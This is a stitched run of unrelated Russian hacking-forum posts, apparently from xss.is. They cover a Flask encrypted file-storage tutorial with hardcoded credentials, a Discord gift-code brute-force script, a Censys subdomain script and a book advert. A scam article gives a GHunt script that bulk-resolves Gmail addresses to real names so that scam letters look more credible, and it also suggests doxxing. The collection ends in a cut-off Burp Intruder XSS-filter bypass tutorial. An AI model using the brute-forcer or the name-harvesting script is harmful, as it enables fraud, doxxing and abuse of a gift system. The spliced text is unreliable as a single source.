cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(data)
def allowed_file(filename):
allowed_formats = {'exe', 'rar', 'zip'}
_, file_extension = os.path.splitext(filename)
if file_extension[1:].lower() in allowed_formats:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
key = None
files = File.query.all() # Получаем все записи из базы данных
if request.method == 'POST':
file = request.files['file']
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
key = get_random_bytes(32) # Генерация случайного ключа
iv, encrypted_data = encrypt_file(file, key)
new_file = File(filename=filename, data=encrypted_data, iv=iv)
db.session.add(new_file)
db.session.commit()
key = key.hex()
else:
return "Файл не загружен. Недопустимый формат файла."
return render_template('lists.html', key=key, files=files)
@app.route('/download/<int:file_id>', methods=['POST'])
def download(file_id):
key_hex = request.form.get('key')
if key_hex:
key = bytes.fromhex(key_hex) # Преобразуем строку ключа обратно в байты
file = File.query.get(file_id)
if file:
decrypted_data = decrypt_file(file.data, key, file.iv)
response = make_response(decrypted_data)
response.headers['Content-Type'] = 'application/octet-stream'
response.headers['Content-Disposition'] = f'attachment; filename="{file.filename}"'
return response
return jsonify({'error': 'Invalid key or file ID'}), 400
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(debug=True)
Очень важно! PyCharm предложит вам установить недостающую библиотеку Crypto.
Но это не то, что нам нужно, если вы ее скачали, то удалите ее, а на ее место
нужно установить библиотеку pycryptodome. Есть также библиотека pycryptodomex,
по сути это та же самая библиотека, но по какой-то причине с ней ничего не
работает.
В функции index происходит следующее:
Функция allowed_file нужна для того, чтобы проверять, разрешен ли выбранный файл для загрузки на сервер. А именно, происходит проверка формата файла.
Функция encrypt_file отвечает за шифрование полученных данных.
Функция decrypt_file отвечает за расшифровку данных, используя данные из
столбца data, который находится в таблице (зашифрованные данные), а также
данные из столбца iv (вектор инициализации) и полученного ключа для
расшифровки.
Для расшифровки вызывается метод decrypt(data) из библиотеки pycryptodome.
Функция download , как ни странно, отвечает за скачивание файла.
Что такое этот ваш вектор инициализации?
Если просто, то это набор случайных байтов, они добавляются к еще не
зашифрованным данным перед их шифрованием. Это необходимо для обеспечения
уникальности полученных данных.
Теперь приступим к дописыванию HTML страницы. Мы будем дописывать её для того, чтобы добавить возможность выбора файла с компьютера и вывода ключа для расшифровки.
В тело (body) добавляем форму, в которой будет находиться 2 кнопки:
HTML:Copy to clipboard
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".exe, .rar, .zip">
<input type="submit" value="Загрузить">
</form>
Ниже, также в теле (body), добавляем отображение ключа (key берется из функции index):
Python:Copy to clipboard
{% if key %}
<p>Ключ для расшифровки: {{ key }}</p>
{% endif %}
Тестовая версия готова. Если все правильно, то при заходе на страницу и
загрузке файла вы увидите такую картину:
Теперь я думаю, нам нужно сделать вывод всех файлов на странице и к каждому
файлу добавить кнопку "Скачать" (весь функционал на Python был показан выше,
там уже имеется функционал для кнопки "Скачать" и прочее). Для этого нам нужно
снова отредактировать HTML.
Добавляем этот код внутрь тела (body):
HTML:Copy to clipboard
<table border="1">
<thead>
<tr>
<th>ID</th>
<th>Filename</th>
<th>Action</th>
</tr>
</thead>
<tbody>
{% for file in files %}
<tr>
<td>{{ file.id }}</td>
<td>{{ file.filename }}</td>
<td>
<form action="/download/{{ file.id }}" method="post">
<input type="text" name="key" placeholder="Введите ключ" required>
<button type="submit">Скачать</button>
</form>
</td>
</tr>
{% endfor %}
</tbody>
</table>
< table> Сама таблица, в которой будут отображаться данные.
Этот код отвечает за заголовки столбцов, в которых будут храниться данные.
HTML:Copy to clipboard
<tr>
<th>ID</th>
<th>Filename</th>
<th>Action</th>
</tr>
В этом коде и есть данные, которые хранятся в столбцах.
HTML:Copy to clipboard
{% for file in files %}
<tr>
<td>{{ file.id }}</td>
<td>{{ file.filename }}</td>
<td>
<form action="/download/{{ file.id }}" method="post">
<input type="text" name="key" placeholder="Введите ключ" required>
<button type="submit">Скачать</button>
</form>
</td>
</tr>
Вот полный код HTML-файла, если вам не важно, как это работает, а просто хотите скопировать:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Список</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".exe, .rar, .zip">
<input type="submit" value="Загрузить">
</form>
{% if key %}
<p>Ключ для расшифровки: {{ key }}</p>
{% endif %}
<table border="1">
<thead>
<tr>
<th>ID</th>
<th>Filename</th>
<th>Action</th>
</tr>
</thead>
<tbody>
{% for file in files %}
<tr>
<td>{{ file.id }}</td>
<td>{{ file.filename }}</td>
<td>
<form action="/download/{{ file.id }}" method="post">
<input type="text" name="key" placeholder="Введите ключ" required>
<button type="submit">Скачать</button>
</form>
</td>
</tr>
{% endfor %}
</tbody>
</table>
</body>
</html>
Теперь можно приступить к запуску и проверке текущей версии нашего облака.
Если всё удачно, то страница должна выглядеть так:
Выбираем нужный файл и нажимаем кнопку "Загрузить", и мы получим ключ для
расшифровки файла.
А вся страница скачивания файлов должна будет выглядеть так:
Теперь я решил немного задизайнить нашу страницу со списком файлов.
HTML:Copy to clipboard
<link rel="stylesheet" href="{{ url_for('static', filename='lists.css') }}">
Теперь приступим к самим стилям.
По умолчанию задний фон страницы белый, будем это исправлять.
Для того, чтобы сменить цвет заднего фона, нам понадобится перейти в наш CSS
файл и прописать это:
CSS:Copy to clipboard
body{
background-color: #272932
}
Так как фон у меня темный, то темные буквы совсем не смотрятся, поэтому нужно изменить их цвет. Мы будем менять цвет именно в body. Поскольку все, что находится внутри body (а в нашем случае это все объекты на странице), будет принимать стили, указанные для body (только если эти стили не перекрывают другие стили, которые используются по умолчанию для определенных объектов). Вот как нам нужно изменить CSS, чтобы добиться белого цвета:
CSS:Copy to clipboard
body {
background-color: #272932;
color: white;
}
Если внимательно посмотреть на скриншот ниже, то можно заметить то, о чем я
как раз и говорил: цвет текста на кнопках не изменился. Поэтому для кнопок
нужно применять стиль именно к ним дополнительно.
Чтобы изменить цвет всем объектам определенного типа, нам нужно узнать, какой это тип. У кнопки это тип button. Поэтому создаем для него стиль:
CSS:Copy to clipboard
button{
color: white;
}
Теперь у нас получается, что цвет букв белый, и задний фон кнопок также белый. Поэтому сменим задний фон у кнопок, добавив в стили такую строку:
CSS:Copy to clipboard
background: #915bc8;
Также у кнопок абсолютно ужасные бордеры, поэтому отключим их:
CSS:Copy to clipboard
border: none;
Весь наш интерфейс находится справа в углу. Хотелось бы сделать его по центру. Для этого потребуется снова отредактировать стиль "body".
CSS:Copy to clipboard
display: flex;
flex-direction: column;
align-items: center;
Также для наглядности покажу, как изменить цвет бордеров на примере таблицы. Для этого нам нужно назначить стиль "table".
CSS:Copy to clipboard
table{
border: 1px solid #4867e5;
background: #272932;
}
Вот результат который мы получаем:
Особо заморачиваться над стилями не буду, так что на этом и остановимся, главное, что я показал, как вообще работать со стилями.
Раз основной функционал у нас готов, осталось совсем немного. Нам нужно добавить страницу авторизации. Для этого нам потребуется отредактировать наш Python файл, добавив туда это:
Python:Copy to clipboard
app.secret_key = 'your_secret_key'
Это нужно для того, чтобы защитить данные сессии пользователя.
Сессия хранит различные данные, такие как статус авторизации.
Теперь добавим логин и пароль для авторизации. Я не буду делать систему регистрации, а только авторизацию. Пользователь у нас будет один, но при желании можно создавать базу данных со списком пользователей и при регистрации вносить туда данные. Пример того, как работать с базой данных и обращаться к ней, я уже описал в этой статье. Но в данном случае я впишу данные для входа прямо в коде:
Python:Copy to clipboard
USERNAME = '123'
PASSWORD = '123'
В данный момент при переходе по ссылке у нас по умолчанию открывается страница с файлами, поэтому в функции index изменим отвечающую за это строку:
Python:Copy to clipboard
@app.route('/', methods=['GET', 'POST'])
на эту строку:
Python:Copy to clipboard
@app.route('/index', methods=['GET', 'POST'])
Теперь допишем код, чтобы по умолчанию открывалась наша будущая страница авторизации:
Python:Copy to clipboard
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == USERNAME and password == PASSWORD:
session['logged_in'] = True
return redirect(url_for('index'))
else:
return render_template('login.html', error='Неверный логин или пароль')
return render_template('login.html', error=None)
Как видим в app.route, просто прописан слэш, поэтому страница будет открываться по умолчанию.
Что же написано в этом коде?
В данном коде принимаются данные из полей HTML-страницы авторизации и
проверяется условие if, в котором прописано, являются ли полученные из формы
логин и пароль тем логином и паролем, что прописаны у нас в коде. Если они
равны, то открывается index (страница с файлами), если не равны, то выводится
текст о том, что пароль или логин неверны.
Теперь приступим к написанию самой страницы авторизации. Для начала создадим в папке templates HTML-файл с названием login.html. В нем пропишем этот код:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Авторизация</title>
</head>
<body>
<h1>Login</h1>
{% if error %}
<p style="color: red;">{{ error }}</p>
{% endif %}
<form method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
Как видно из кода, в нём есть input объекты для логина и пароля, именно эти
поля предназначены для ввода данных.
При запуске программы и переходе по ссылке откроется страница авторизации, как
и задумывалось.
Особо не буду заморачиваться над дизайном, просто назначу цвет фона и
отцентрирую все объекты, чтобы они не висели в правом верхнем углу экрана.
Для этого создаем CSS файл для страницы авторизации и подключаем его такой
строкой:
HTML:Copy to clipboard
<link rel="stylesheet" href="{{ url_for('static', filename='login.css') }}">
Вставляем эту строку в раздел < head> нашей страницы.
Теперь переходим в CSS файл и применяем стили к нашему телу страницы "welcome to the club":
CSS:Copy to clipboard
body{
background-color: #272932;
color: white;
display: flex;
flex-direction: column;
align-items: center;
}
Вот так теперь выглядит страница авторизации:
Заключение.
На этом статья подходит к концу. Мы рассмотрели, как шифровать файлы с помощью
AES, как их расшифровывать, основы CSS, основы работы с базами данных, и
применили все эти знания на практике через создание облака для хранения
зашифрованных файлов.При создании проекта я полагался главным образом на свои
знания и интуицию, поэтому не претендую на истинную верность моего подхода.
Если у вас есть другие идеи или варианты реализации, буду рад услышать их в
комментариях. Если будет интерес и активность по теме, я могу написать вторую
статью о создании зеркала в onion для нашего обменника, системе регистрации с
записью пользователей в базу данных, а также более подробно рассмотреть HTML и
CSS.
Статья написана CognitoInc специально для форума xss.is
С помощью скрипта есть шанс поймать подарок от Discord. Скрипт работает только на Firefox и Chrome. Если используете Firefox, то вам нужно установить geckodriver с сайта https://github.com/mozilla/geckodriver/releases, а если Chrome, то нужно установить chromedriver с сайта https://chromedriver.chromium.org/downloads и указать к нему путь в запущенной программе. А также требуется установить selenium (pip install selenium).
Python:Copy to clipboard
from time import sleep
from selenium import webdriver
from random import randint
CHARS = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
URL = 'https://discord.com/gifts/'
password = ''
print('--------------------------Start--------------------------')
print('--------------------------Открытие браузера--------------------------')
try:
driver = webdriver.Firefox()
except:
path = input('Путь до chromedriver: ')
driver = webdriver.Chrome(path)
print('\n\n--------------------------Start Bruteforce--------------------------')
with open('log.txt', 'w') as f:
while True:
for i in range(16):
password += CHARS[randint(0, 61)]
url_result = URL + password
password = ''
try:
driver.get(url_result)
sleep(2)
elem = driver.find_element_by_class_name('centeringWrapper-2Rs1dR')
if elem != None:
f.write(url_result + ' - некорректный\n')
print(url_result + ' - некорректный')
else:
f.write(url_result + ' - корректный\n')
print(url_result + ' - корректный')
except:
print('Ошибка.\nПерезапустите скрипт.')
driver.close()
exit()
f.close()
Не получается запустить скрипт censys_search.py
import sys, json, requests, logging, os
import censys.certificates
API_URL = "https://censys.io/api/v1"
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(name)
def close_to_domain(candidate, target_domain, domain_array):
if any(x in candidate for x in domain_array):
return True
return False
def show_censys_data(domain, uid, secret):
logger.info("Looking up {} on censys".format(domain))
domains = set()
domain_array = domain.split(".")
domain_array.pop()
certificates = censys.certificates.CensysCertificates(uid, secret)
fields = ["parsed.names"]
for c in certificates.search("parsed.names: %s" % domain, fields=fields):
for d in c["parsed.names"]:
if close_to_domain(d, domain, domain_array):
domains.add(d)
logger.info("Found {} unique domains".format(len(domains)))
for d in domains:
print(d)
def check_api_keys():
if os.environ.get("CENSYS_ID") is None or os.environ.get("CENSYS_SECRET") is
None:
logger.warning("Missing CENSYS_ID or CENSYS_SECRET env var")
sys.exit(-1)
if name == "main":
if len(sys.argv) < 2:
print("usage {}
sys.exit(-1)
check_api_keys()
uid = os.environ.get("CENSYS_ID")
secret = os.environ.get("CENSYS_SECRET")
show_censys_data(sys.argv[1], uid, secret)
Меняю CENSYS_ID и CENSYS_SECRET во всех в коде случаях на свои значения из censys.io
Необходимо написать маленький скрипт который будет чекать сайт и если кнопка появилась она будет нажимать принять и добавлять комментарий рандомный из списка (.txt)
Книга представляет собой интуитивно понятное и практическое объяснение использования Python для обеспечения кибербезопасности. В книге на основе структуры MITRE ATT&CK рассматриваются методы кибератак, средства защиты от атак и основные проблемы кибербезопасности, с которыми сегодня сталкиваются администраторы сетей и другие заинтересованные стороны.
Предлагая загружаемые примеры кода, книга написана так, чтобы помочь вам узнать, как использовать Python в самых разных ситуациях, связанных с кибербезопасностью, включая:
- разведка, разработка ресурсов, первоначальный доступ и исполнение
- устойчивость, повышение привилегий, уклонение от защиты и доступ к учетным
данным
- обнаружение, боковое перемещение, сбор информации, командование и контроль
- эксфильтрация и воздействие
Каждая глава включает обсуждение нескольких техник и подтехник, которые могут быть использованы для достижения целей злоумышленника в любом из этих сценариев использования. Идеальный ресурс для всех, кто профессионально или лично интересуется кибербезопасностью, Python For Cybersecurity предлагает углубленную информацию о широком спектре атак и эффективных средствах защиты от них на базе Python.
Python_for_Cybersecurity_Using_Python_for_Cyber_Offense_and_Defense.epub ](https://cloud.mail.ru/public/9FVA/comjZfH6S)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
**Авторствo: germans
Издательствo: xss.is**
П рактика нигерийских писем, несмотря что ей лет уже в тройне больше чем
форуму, продолжает существовать, предлагая лохам огромные деньги. Помним, что
лох не мамонт - лох не вымрет, расскажу вкратце про случай, который произошел
с канадским водителем грузовика по имени Джон Ремпел.
Р емпел стал жертвой нигерийский писем когда ему поступило предложение наследовать крупную сумму от бездетного английского родственника. На первый взгляд казалось, что перед ним скоро будет все деньги мира, тачки, админки, но вскоре уже стало ясно, что наш Джон попался на недоброжелательных людей.
Н ачальные требования касались перевода 2.5 тысячи долларов, за которым последовали затраты на документы, открытие счета в лондонском банке, налоги и другие "неотложные" расходы. Ремпел, внимательно следуя указаниям мошенников, отправился в Лондон, где с огромными трудностями и многочисленными переводами потратил около 150 тысяч долларов.
В Лондоне ему предъявили чемодан с "наследством", представив его как 10.6 миллионов долларов, которые были даже продемонстрированы в пластиковой упаковке. Для полного "доказательства" подлинности денег, Ремпелу была предложена странная жидкость, которая, по словам мошенников, использовалась для смывания штампов с банкнот. Однако, когда другие участники предполагаемой сделки не появились, Ремпел, разочарованный и обманутый, вернулся домой.
П осле серии затрат и безрезультатных усилий, мошенники требовали от Ремпела еще 120 тысяч долларов на вторую "волшебную" жидкость и дополнительные расходы.
В от такая интересная история с обычного проспама на кучу пользователей, когда человечка развели на огромную сумму денег, а так же стоит подметить, что 60 тысяч долларов он занял у своего друга из Мексики, а еще 50 тысяч у своих родителей, то есть и в долги влип, и с шишем с маслем остался.. Вот такая история у лоха и случилась.
В опрос, а как же хотяб немножко повысить траст у пользователей?..- Мы можем использовать имя с фамилией человека в наших нигерийских письмах, не сказать, что это прям вау, лох нам поверит, но он удивится или подумает о своей безопасности.
П ереходим к главному вопросу, а как узнать то имя и фамилию человека по одной лишь почте? В этом нам поможет библиотека питоновская библиотека GHunt, которая выдаст нам:
Ознакомиться с этой библиотекой мы можем на github, библиотека до сих пор развивается и имеет свое продолжение.
Перейдем к написанию кода, для начала устанавливаем библиотеки следующими
командой
pip install ghunt
После установки библиотек переходим к написанию основной сути нашего кода, импортируем следующее
Python:Copy to clipboard
import httpx
import trio
from ghunt.apis.peoplepa import PeoplePaHttp
from ghunt.objects.base import GHuntCreds
Весь остальной код не такой уж и большой, впринципе на этом он и заканчивается
Python:Copy to clipboard
async def main():
email = 'почта@gmail.com'
ghunt_creds = GHuntCreds('creds.m')
ghunt_creds.load_creds()
as_client = httpx.AsyncClient()
people_api = PeoplePaHttp(ghunt_creds)
found, person = await people_api.people_lookup(as_client, email, params_template="max_details")
print(person.names["PROFILE"].fullname)
trio.run(main)
Так же мы можем указать указать параметры что выгружать следующим образом:
found, person = await people_api.people_lookup(sync_client, default_email, params_template="just_name")
Данный параметр выведет нам лишь имя и фамилию пользователя по gmail аккаунту,
но ведь нам нужно получить все возможные данные, по этому мы и пропускаем этот
параметр.
Пробуем запустить наш код
Получаем ошибку, ведь для работоспособности ПО требуется аккаунт google,
можете зарегестрировать или купить, тут уж без разницы. Привязать его можно по
трем способам
самостоятельно ввести куки
вставить куки в base64
через расширение ghunt
Мы пойдем через легкие пути, а именно [расширение](https://chromewebstore.google.com/detail/ghunt- companion/dpdcofblfbmmnikcbmmiakkclocadjab), где получим куки в base64, для этого устанавливаем его, авторизуемся в аккаунт и на данном этапе
Выбираем метод два, и наши куки уже сами были скопированы. Теперь открываем
нашу консоль и вводим
ghunt login
И производим следующие операции как на картинке ниже
После того как наши куки успешно подгрузились у нас создается файлик creds.m и
нам надо переместить его в папку с нашим py-скриптом
Переместили, запускаем к примеру на почте. ajaygoel999@gmail.com , и получаем такие данные
Но нам нужно обрабатывать большие объемы и сохранять их в текстовик, давайте добавим чтение данных с файла с почтами построчно, и добавим так же сохранение.
Code:Copy to clipboard
import httpx
import trio
from ghunt.apis.peoplepa import PeoplePaHttp
from ghunt.objects.base import GHuntCreds
async def main():
ghunt_creds = GHuntCreds('creds.m')
ghunt_creds.load_creds()
as_client = httpx.AsyncClient()
people_api = PeoplePaHttp(ghunt_creds)
input_filename = 'emails.txt'
output_filename = 'output.txt'
with open(input_filename, 'r') as input_file, open(output_filename, 'w') as output_file:
for email in input_file:
email = email.strip()
found, person = await people_api.people_lookup(as_client, email, params_template="max_details")
if found:
full_name = person.names["PROFILE"].fullname
output_line = f"{full_name}, {email}\n"
output_file.write(output_line)
trio.run(main)
По желанию можете прикрутить и многопоточность, можно использовать так же для докса плохих людей
Автор petrinh1988
Источник https://xss.is
Продолжаем разбираться в Burp Intruder. В первой части статьи, мы поговорили о разных типах атак, работе с сессиями и макросами Burp. Остановились на примере использования процессинга полезной нагрузки. Самое время продолжить.
Важные уточнения! Статья вышла очень большая. Постоянно приходилось добавлять уточнения, пояснения, которые потом часто становились целыми блоками. В связи с чем, статья была разбита на две части:
Первая часть — про использование возможностей Intruder
Вторая часть — про расширение Intruder, путем написания своего Python- кодаЕсли вы заметили неточность или какой-то из примеров работает как-то не так или чего-то не хватает в примерах, обязательно напишите.
Click to expand...
В целом, у Burp есть отличный набор предустановленных обработчиков. Можно кодировать/декодировать строку в большое количество вариантов. Хэшировать, добавлять суффиксы и префиксы. В общем, вариаций тонна и маленькая тележка. Но бывают уникальные ситуации, когда не обойтись без навыков программирования. Именно для этого, покажу простой пример написания своего обработчика. Воспринимайте этот пример как пример, а не какое-то конкретное или функциональное решение.
Напомню, что базовый скелет для расширения выглядит так:
Python:Copy to clipboard
from burp import IBurpExtender
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helper = callbacks.getHelpers()
callbacks.setExtensionName('Custom Intruder Processing')
Чтобы наше расширение могло участвовать в процессинге, нужно импортировать интерфейс IIntruderPayloadProcessor и реализовать два его метода:
Реализовать можно, как в виде отдельного класса, так и расширив наш основной класс. Собственно, чтобы воочию увидеть что прилетает в processPayload(), можно использовать такой простой код расширения:
Python:Copy to clipboard
from burp import IBurpExtender
from burp import IIntruderPayloadProcessor
class BurpExtender(IBurpExtender, IIntruderPayloadProcessor):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helper = callbacks.getHelpers()
callbacks.setExtensionName('Custom Intruder Processing')
callbacks.registerIntruderPayloadProcessor(self)
def getProcessorName(self):
return "Custom Intruder Processing"
def processPayload(self, currentPayload, originalPayload, baseValue):
print(currentPayload, originalPayload, baseValue)
return currentPayload
Конечно же, каждый новый объект нужно зарегистрировать в Burp, поэтому не забываем вызвать коллбэк registerIntruderPayloadProcessor() передав ему “себя”, если реализация IIntruderPayloadProcessor внутри этого же класса или экземпляр объекта с вашим классом.
Теперь можно загрузить расширение в Burp, не забыв указать, что речь идет о Python. Подробнее про добавление расширения в этой статье. После подгрузки, идем в интрудер, добавляем обработчик и видим возможность выбора нашего обработчика.
Чисто по модели, это уже полноценное рабочее расширение. Оно ничего не делает, зато выводит значения аргументов. Кстати, вот они:
Для наглядности, добавил еще один из стандартных обработчиков, который переводит символы в верхний регистр. И поставил этот обработчик до нашего. Поэтому, в currentPayload у нас все в верхнем регистре, а в originalPayload в нижнем. baseValue, как и писал, берется отсюда:
Чтобы наш обработчик имел смысл, нужно просто написать функционал, который будет как-то обрабатывать полученный пэйлоад. Например, давайте сделаем простой обфускатор JS-кода. Для тестов я собрал небольшую эмуляцию веб- приложения, чтобы запустить его используйте все тот же прикрепленный архив.
Веб-приложение будет доступно по адресу http://localhost/xss/. Обычная форма для поиска, которая подвержена XSS. Подвержена, но с небольшой защитой в виде:
PHP:Copy to clipboard
$search = str_replace('script', '', $search);
Соответственно, попытка отправить классическое “